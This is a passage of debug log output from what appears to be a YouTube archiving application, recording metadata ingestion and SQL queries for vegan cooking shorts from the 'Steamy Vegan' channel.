life of a millennial YouTuber", 1, 59, false, "Tqt28VUxJLk", "https://www.youtube.com/shorts/Tqt28VUxJLk", "/downloads/downloads/alec/Steamy Vegan/2023-03-05 Day in the life of a millennial YouTuber/Day in the life of a millennial YouTuber [Tqt28VUxJLk].NA", true, ~U[2023-03-05 15:47:49Z]] 20:26:24.361 [debug] QUERY OK source="sources" db=0.7ms idle=310.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:24.362 [debug] QUERY OK source="media_profiles" db=0.2ms idle=6.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:24.363 [debug] QUERY OK source="media_items" db=0.4ms idle=7.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [572] 20:26:24.363 [debug] Current batch of media processed. Will check again in 1000ms 20:26:25.364 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "What I eat in a week, vegan and sugar-free!\n\nCheck out our full-length video on how we quit sugar for an entire month, and how it's changing how we live: https://youtu.be/UP5XYyNmLaY\n\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "duration" => 23, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-27 What I eat in a week | vegan and sugar-free/What I eat in a week | vegan and sugar-free [XC7Ln_DuR1E].NA", "id" => "XC7Ln_DuR1E", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/XC7Ln_DuR1E", "playlist_index" => 184, "timestamp" => 1677515770, "title" => "What I eat in a week | vegan and sugar-free", "upload_date" => "20230227"} 20:26:25.365 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:25.366 [debug] QUERY OK source="sources" db=0.4ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:25.368 [debug] QUERY OK source="media_items" db=1.8ms idle=1004.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-27 16:36:10Z], 1] 20:26:25.369 [debug] QUERY OK source="media_items" db=0.7ms idle=1005.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a week, vegan and sugar-free!\n\nCheck out our full-length video on how we quit sugar for an entire month, and how it's changing how we live: https://youtu.be/UP5XYyNmLaY\n\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "What I eat in a week | vegan and sugar-free", "1a2a832b-24cb-4bc2-9ec7-ec1fb68024be", 1, [], 23, false, "XC7Ln_DuR1E", "https://www.youtube.com/shorts/XC7Ln_DuR1E", 184, "/downloads/downloads/alec/Steamy Vegan/2023-02-27 What I eat in a week | vegan and sugar-free/What I eat in a week | vegan and sugar-free [XC7Ln_DuR1E].NA", false, false, true, 0, ~U[2023-02-27 16:36:10Z], ~U[2026-03-22 03:26:25Z], ~U[2026-03-22 03:26:25Z], "What I eat in a week, vegan and sugar-free!\n\nCheck out our full-length video on how we quit sugar for an entire month, and how it's changing how we live: https://youtu.be/UP5XYyNmLaY\n\n\n\nMusic by frumhere, kevatta - warm feeling - https://thmatc.co/?l=4012A522", "What I eat in a week | vegan and sugar-free", 1, 23, false, "XC7Ln_DuR1E", "https://www.youtube.com/shorts/XC7Ln_DuR1E", "/downloads/downloads/alec/Steamy Vegan/2023-02-27 What I eat in a week | vegan and sugar-free/What I eat in a week | vegan and sugar-free [XC7Ln_DuR1E].NA", true, ~U[2023-02-27 16:36:10Z]] 20:26:25.370 [debug] QUERY OK source="sources" db=0.3ms idle=316.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:25.370 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:25.371 [debug] QUERY OK source="media_items" db=0.4ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [573] 20:26:25.371 [debug] Current batch of media processed. Will check again in 1000ms 20:26:26.372 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "I quit sugar for 30 days! 🍬 Am I crazy? Maybe. Has it been totally worth it? Definitely ☺️ \n\nWatch the whole video by clicking the play button by my channel name.\n\nTogether my husband Brad and I figured out how to live free from our sugar addiction, and how eating a whole food plant-based diet played such an integral part in our success. 🍎🍑🍌🥦🫐🍇🍠\n\nRun to my YouTube channel (@steamyvegankitchen) and watch our entire journey! Linked in bio! \n\n#howtoquitsugar #quitsugar #nosugardiet #quittingsugar #nosugar #nosugarchallenge #sugaraddiction #Iquitsugar #whatieatinaday #steamyvegankitchen #veganrecipes \n\nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B", "duration" => 47, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-26 I quit sugar for 30 days #shorts #youtubeshorts/I quit sugar for 30 days #shorts #youtubeshorts [5VLBOB2n2Tk].NA", "id" => "5VLBOB2n2Tk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/5VLBOB2n2Tk", "playlist_index" => 185, "timestamp" => 1677433399, "title" => "I quit sugar for 30 days #shorts #youtubeshorts", "upload_date" => "20230226"} 20:26:26.373 [debug] QUERY OK source="sources" db=0.4ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:26.374 [debug] QUERY OK source="sources" db=0.7ms idle=1003.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:26.376 [debug] QUERY OK source="media_items" db=1.6ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-26 17:43:19Z], 1] 20:26:26.377 [debug] QUERY OK source="media_items" db=0.8ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I quit sugar for 30 days! 🍬 Am I crazy? Maybe. Has it been totally worth it? Definitely ☺️ \n\nWatch the whole video by clicking the play button by my channel name.\n\nTogether my husband Brad and I figured out how to live free from our sugar addiction, and how eating a whole food plant-based diet played such an integral part in our success. 🍎🍑🍌🥦🫐🍇🍠\n\nRun to my YouTube channel (@steamyvegankitchen) and watch our entire journey! Linked in bio! \n\n#howtoquitsugar #quitsugar #nosugardiet #quittingsugar #nosugar #nosugarchallenge #sugaraddiction #Iquitsugar #whatieatinaday #steamyvegankitchen #veganrecipes \n\nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B", "I quit sugar for 30 days #shorts #youtubeshorts", "9f5d295f-7047-4f22-9bce-6fdde6a3643e", 1, [], 47, false, "5VLBOB2n2Tk", "https://www.youtube.com/shorts/5VLBOB2n2Tk", 185, "/downloads/downloads/alec/Steamy Vegan/2023-02-26 I quit sugar for 30 days #shorts #youtubeshorts/I quit sugar for 30 days #shorts #youtubeshorts [5VLBOB2n2Tk].NA", false, false, true, 0, ~U[2023-02-26 17:43:19Z], ~U[2026-03-22 03:26:26Z], ~U[2026-03-22 03:26:26Z], "I quit sugar for 30 days! 🍬 Am I crazy? Maybe. Has it been totally worth it? Definitely ☺️ \n\nWatch the whole video by clicking the play button by my channel name.\n\nTogether my husband Brad and I figured out how to live free from our sugar addiction, and how eating a whole food plant-based diet played such an integral part in our success. 🍎🍑🍌🥦🫐🍇🍠\n\nRun to my YouTube channel (@steamyvegankitchen) and watch our entire journey! Linked in bio! \n\n#howtoquitsugar #quitsugar #nosugardiet #quittingsugar #nosugar #nosugarchallenge #sugaraddiction #Iquitsugar #whatieatinaday #steamyvegankitchen #veganrecipes \n\nMusic by frumhere - thoughts in colors - https://thmatc.co/?l=FE7EF04B", "I quit sugar for 30 days #shorts #youtubeshorts", 1, 47, false, "5VLBOB2n2Tk", "https://www.youtube.com/shorts/5VLBOB2n2Tk", "/downloads/downloads/alec/Steamy Vegan/2023-02-26 I quit sugar for 30 days #shorts #youtubeshorts/I quit sugar for 30 days #shorts #youtubeshorts [5VLBOB2n2Tk].NA", true, ~U[2023-02-26 17:43:19Z]] 20:26:26.378 [debug] QUERY OK source="sources" db=0.5ms idle=322.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:26.378 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:26.379 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [574] 20:26:26.379 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Guilt-Free Brownies made from… SWEET POTATOES? 🍠 Yup. FULL RECIPE VIDEO:\nhttps://youtu.be/sZGmMaDVWHk\n\nThey’re fudgy, moist, sweet, totally decadent tasting and have NO gluten, dairy, refined sugar, oil and are 100% vegan 🌱 The BEAUTY of whole foods! 😍 I’m in LOVE with these brownies and they love me right back.\n\nOat flour\nMedjool dates, pitted and soaked \n2 medium sweet potatoes, baked\nCocoa powder \nPlant milk\nVanilla extract\nSea salt \nBaking soda & powder\n\nFull recipe on my YouTube channel — recipe video linked in bio! 🍠🍫\n\n#plantbasedbaking #veganbrownies #browniefit #healthybaking #wfpbrecipes #wfpb #wholefoodplantbased #steamyvegankitchen #steamyvegan \n#sweetpotatobrownies", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-19 GUILT-FREE BROWNIES 🤤/GUILT-FREE BROWNIES 🤤 [6Q-bW2cYEN4].NA", "id" => "6Q-bW2cYEN4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/6Q-bW2cYEN4", "playlist_index" => 186, "timestamp" => 1676825231, "title" => "GUILT-FREE BROWNIES 🤤", "upload_date" => "20230219"} 20:26:26.380 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:26.381 [debug] QUERY OK source="sources" db=0.3ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:26.382 [debug] QUERY OK source="media_items" db=1.5ms idle=3.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-19 16:47:11Z], 1] 20:26:26.384 [debug] QUERY OK source="media_items" db=0.6ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Guilt-Free Brownies made from… SWEET POTATOES? 🍠 Yup. FULL RECIPE VIDEO:\nhttps://youtu.be/sZGmMaDVWHk\n\nThey’re fudgy, moist, sweet, totally decadent tasting and have NO gluten, dairy, refined sugar, oil and are 100% vegan 🌱 The BEAUTY of whole foods! 😍 I’m in LOVE with these brownies and they love me right back.\n\nOat flour\nMedjool dates, pitted and soaked \n2 medium sweet potatoes, baked\nCocoa powder \nPlant milk\nVanilla extract\nSea salt \nBaking soda & powder\n\nFull recipe on my YouTube channel — recipe video linked in bio! 🍠🍫\n\n#plantbasedbaking #veganbrownies #browniefit #healthybaking #wfpbrecipes #wfpb #wholefoodplantbased #steamyvegankitchen #steamyvegan \n#sweetpotatobrownies", "GUILT-FREE BROWNIES 🤤", "04dd1371-79af-4c64-8502-dd1a037022b0", 1, [], 15, false, "6Q-bW2cYEN4", "https://www.youtube.com/shorts/6Q-bW2cYEN4", 186, "/downloads/downloads/alec/Steamy Vegan/2023-02-19 GUILT-FREE BROWNIES 🤤/GUILT-FREE BROWNIES 🤤 [6Q-bW2cYEN4].NA", false, false, true, 0, ~U[2023-02-19 16:47:11Z], ~U[2026-03-22 03:26:26Z], ~U[2026-03-22 03:26:26Z], "Guilt-Free Brownies made from… SWEET POTATOES? 🍠 Yup. FULL RECIPE VIDEO:\nhttps://youtu.be/sZGmMaDVWHk\n\nThey’re fudgy, moist, sweet, totally decadent tasting and have NO gluten, dairy, refined sugar, oil and are 100% vegan 🌱 The BEAUTY of whole foods! 😍 I’m in LOVE with these brownies and they love me right back.\n\nOat flour\nMedjool dates, pitted and soaked \n2 medium sweet potatoes, baked\nCocoa powder \nPlant milk\nVanilla extract\nSea salt \nBaking soda & powder\n\nFull recipe on my YouTube channel — recipe video linked in bio! 🍠🍫\n\n#plantbasedbaking #veganbrownies #browniefit #healthybaking #wfpbrecipes #wfpb #wholefoodplantbased #steamyvegankitchen #steamyvegan \n#sweetpotatobrownies", "GUILT-FREE BROWNIES 🤤", 1, 15, false, "6Q-bW2cYEN4", "https://www.youtube.com/shorts/6Q-bW2cYEN4", "/downloads/downloads/alec/Steamy Vegan/2023-02-19 GUILT-FREE BROWNIES 🤤/GUILT-FREE BROWNIES 🤤 [6Q-bW2cYEN4].NA", true, ~U[2023-02-19 16:47:11Z]] 20:26:26.384 [debug] QUERY OK source="sources" db=0.5ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:26.385 [debug] QUERY OK source="media_profiles" db=0.4ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:26.385 [debug] QUERY OK source="media_items" db=0.4ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [575] 20:26:26.386 [debug] Current batch of media processed. Will check again in 1000ms 20:26:27.387 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "The BEST Banana Bread… Ever?! Yup. 🍌🍞And it’s vegan, GF, oil-free and made with mostly whole foods. FULL RECIPE VIDEO ➡️ https://youtu.be/Md-V4Neaa1w\n\nSeriously. As someone who’s struggled to perfect any GF breads, cause you know they ALWAYS are undercooked in the middle or dry and crumbly AF 🥴 this oat flour-based bread cooks TO PERFECTION! \n\nbrown spotty bananas\nrolled oats (gluten-free if necessary)\nbaking powder & soda \nsalt\ntsp cinnamon\ncoconut sugar\ntahini or nut butter\nvanilla\n2 flax eggs\napple cider vinegar\nvegan choc chips\n\n#veganbananabread #bananabreadrecipe #wfpbrecipes #wfpbvegan #steamyvegankitchen #steamyvegan #whatveganseat #poweredbyplants", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-02-18 Vegan Banana Bread | The only recipe you’ll ever need/Vegan Banana Bread | The only recipe you’ll ever need [eu8lbSq6wwg].NA", "id" => "eu8lbSq6wwg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/eu8lbSq6wwg", "playlist_index" => 187, "timestamp" => 1676742123, "title" => "Vegan Banana Bread | The only recipe you’ll ever need", "upload_date" => "20230218"} 20:26:27.388 [debug] QUERY OK source="sources" db=0.4ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:27.389 [debug] QUERY OK source="sources" db=0.5ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:27.391 [debug] QUERY OK source="media_items" db=2.0ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-02-18 17:42:03Z], 1] 20:26:27.392 [debug] QUERY OK source="media_items" db=0.9ms idle=1005.6ms INSERT INTO "media_items" AS m0 